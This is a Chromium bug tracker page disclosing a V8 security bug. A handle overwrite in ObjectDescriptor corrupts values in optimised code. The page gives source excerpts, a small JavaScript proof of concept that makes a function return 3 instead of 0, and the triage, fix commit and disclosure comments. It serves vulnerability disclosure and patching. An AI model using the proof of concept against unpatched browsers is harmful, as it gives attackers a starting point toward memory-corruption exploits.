New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: Jan 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment
link

Issue 802333: Security: V8: A bug in the ObjectDescriptor class

Reported by lokihardt@google.com, Jan 16 2018 Project Member

Issue description

Here's HandleScope::GetHandle and CanonicalHandleScope::Lookup used to get a handle location.

Object** HandleScope::GetHandle(Isolate* isolate, Object* value) {
  DCHECK(AllowHandleAllocation::IsAllowed());
  HandleScopeData* data = isolate->handle_scope_data();
  CanonicalHandleScope* canonical = data->canonical_scope;
  return canonical ? canonical->Lookup(value) : CreateHandle(isolate, value);
}

Object** CanonicalHandleScope::Lookup(Object* object) {
  DCHECK_LE(canonical_level_, isolate_->handle_scope_data()->level);
  ...
  Object*** entry = identity_map_->Get(object);
  if (*entry == nullptr) {
    // Allocate new handle location.
    *entry = HandleScope::CreateHandle(isolate_, object);
  }
  return reinterpret_cast<Object**>(*entry);
}

As you can see above, if the method is called within a CanonicalHandleScope scope, it checks if there's a cache for the given value, if there is, returns the cached location, otherwise, creates one for it.

The above routine implies that it's not a good idea to change the value of the handle as shown in the following example code.

CanonicalHandleScope canonical(isolate);
Handle<Smi> a(Smi::kZero, isolate);

*a.location() = Smi::FromInt(2);

Handle<Smi> b(Smi::kZero, isolate);  // b.location() == a.location()
b->value();  // == 2

But the ObjectDescriptor class does that.

Here's a snippet of the class (https://cs.chromium.org/chromium/src/v8/src/objects/literal-objects.cc?rcl=f0f13de9b59b2f7291de005456cf832f5409bb14&l=352).

  void CreateTemplates(Isolate* isolate, int slack) {
    ...
    temp_handle_ = handle(Smi::kZero, isolate);
  }

  void AddNamedProperty(Isolate* isolate, Handle<Name> name,
                        ClassBoilerplate::ValueKind value_kind,
                        int value_index) {
    Smi* value = Smi::FromInt(value_index);
    ...
      *temp_handle_.location() = value;
      ...
  }


PoC:
// Flags: --allow-natives-syntax

function deferred_func() {
    class C {
        method1() {

        }
    }
}

let bound = (a => a).bind(this, 0);

function opt() {
    deferred_func.prototype;  // ReduceJSLoadNamed

    return bound();
}

print(opt());  // 0
%OptimizeFunctionOnNextCall(opt);

print(opt());  // must print out 0, but actually it prints out 3

How the PoC works:
1. GetOptimizedCode uses CanonicalHandleScope.
2. JSNativeContextSpecialization::ReduceJSLoadNamed calls JSFunction::EnsureHasInitialMap which tries to compile the given function(deferred_func in the PoC).
    1. So ObjectDescriptor is used.
3. The ObjectDescriptor::AddNamedProperty method changes the value of handle(Smi::kZero, isolate) to "3".
4. Loading the bound function's arguments is reduced with: jsgraph()->Constant(handle(bound_arguments->get(i), isolate())))
    1. handle(bound_arguments->get(i), isolate()) returns the same handle, of which the value is "3", used in the vulnerable class.


Note that the PoC doesn't crash.



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 

Comment 1 by hablich@chromium.org, Jan 18 2018

Cc: bmeu...@chromium.org verwa...@chromium.org
Status: Untriaged (was: Unconfirmed)
Waiting for Security team's triage cycle to upload it to CF.

Toon/Benedikt, can you have a look please/re-assign?

Comment 2 by bmeu...@chromium.org, Jan 18 2018

Cc: jarin@chromium.org
Components: -Blink>JavaScript Blink>JavaScript>Runtime Blink>JavaScript>Compiler
Owner: cbruni@chromium.org
Status: Assigned (was: Untriaged)

Comment 3 by cbruni@chromium.org, Jan 18 2018

Labels: ReleaseBlock-Stable OS-Android OS-Fuchsia OS-Linux OS-Mac OS-Windows

Comment 4 by cbruni@chromium.org, Jan 22 2018

Cc: ishell@chromium.org

Comment 5 by mea...@chromium.org, Jan 25 2018

Looks like this slipped through the security triage cycle. I'm not sure CF can help here though, as the PoC doesn't crash (at least I don't know how to tell CF about that).

Comment 6 by ClusterFuzz, Jan 25 2018

Project Member
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5124289511292928.

Comment 7 by verwa...@chromium.org, Jan 25 2018

Cc: -ishell@chromium.org cbruni@chromium.org
Owner: ishell@chromium.org
Reassigning to ishell since cbruni is on short-notice leave.

Comment 8 by bugdroid1@chromium.org, Jan 26 2018

Project Member
The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/e416e3c475ef8bd76455dbd9dd416e7edfe56893

commit e416e3c475ef8bd76455dbd9dd416e7edfe56893
Author: Igor Sheludko <ishell@chromium.org>
Date: Fri Jan 26 12:21:15 2018

[runtime] Fix Class Literals

Do not overwrite handle values in AddNamedProperty which could cause
invalid handles in combination with CanonicalHandleScope.

Bug:  chromium:802333 
Change-Id: I373ab60579901bba65336ae3814e466e07392e22
Reviewed-on: https://chromium-review.googlesource.com/873032
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Commit-Queue: Igor Sheludko <ishell@chromium.org>
Cr-Commit-Position: refs/heads/master@{#50890}
[modify] https://crrev.com/e416e3c475ef8bd76455dbd9dd416e7edfe56893/src/objects/literal-objects.cc
[add] https://crrev.com/e416e3c475ef8bd76455dbd9dd416e7edfe56893/test/mjsunit/regress/regress-crbug-802333.js

Comment 9 by ishell@chromium.org, Jan 26 2018

Status: Fixed (was: Assigned)

Comment 10 by sheriffbot@chromium.org, Feb 8 2018

Project Member
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 11 by lokihardt@google.com, Apr 6 2018

The PoC still works on Chrome 65.0.3325.181 (Latest Stable). Would you please check it?

Comment 12 by ishell@chromium.org, Apr 6 2018

Cc: hablich@chromium.org
Labels: Merge-Request-65

Comment 13 by hablich@chromium.org, Apr 6 2018

Labels: -Merge-Request-65 Merge-Rejected-65
66 will go stable in the next two weeks. Given that this is security impact medium, let's not merge it to 65.

Comment 14 by lokihardt@google.com, Apr 14 2018

The drop date of the issue is April 16th. Will the deadline grace extension be required?

Comment 15 by awhalley@google.com, Apr 16 2018

Cc: awhalley@chromium.org
lokihardt@ - Yes, please.

Comment 16 by sheriffbot@chromium.org, May 4 2018

Project Member
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment